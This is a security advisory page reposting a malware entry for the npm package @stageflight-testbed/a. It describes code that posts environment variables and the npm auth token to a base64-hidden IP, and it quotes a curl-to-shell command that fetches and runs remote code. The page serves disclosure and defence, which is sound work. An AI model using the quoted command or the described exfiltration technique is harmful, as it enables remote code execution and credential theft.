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🛡️ MAL-2026-13365 — a

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Malicious code in @stageflight-testbed/a (npm)

Source: amazon-inspector

index.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on curl -s http://185.220.101.47:8080/the assessment | sh, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (__SF_TEST_NEVER__), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.

Affected software

MAL-2026-13365 is recorded against 1 package.

  • @stageflight-testbed/a

Timeline and source

Published on 5 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

www.npmjs.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector N/A
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-08-05
Updated 2026-08-20
Modified 2026-08-05
Fix URL N/A

Affected Packages

Software From version Fixed in
@stageflight-testbed/a

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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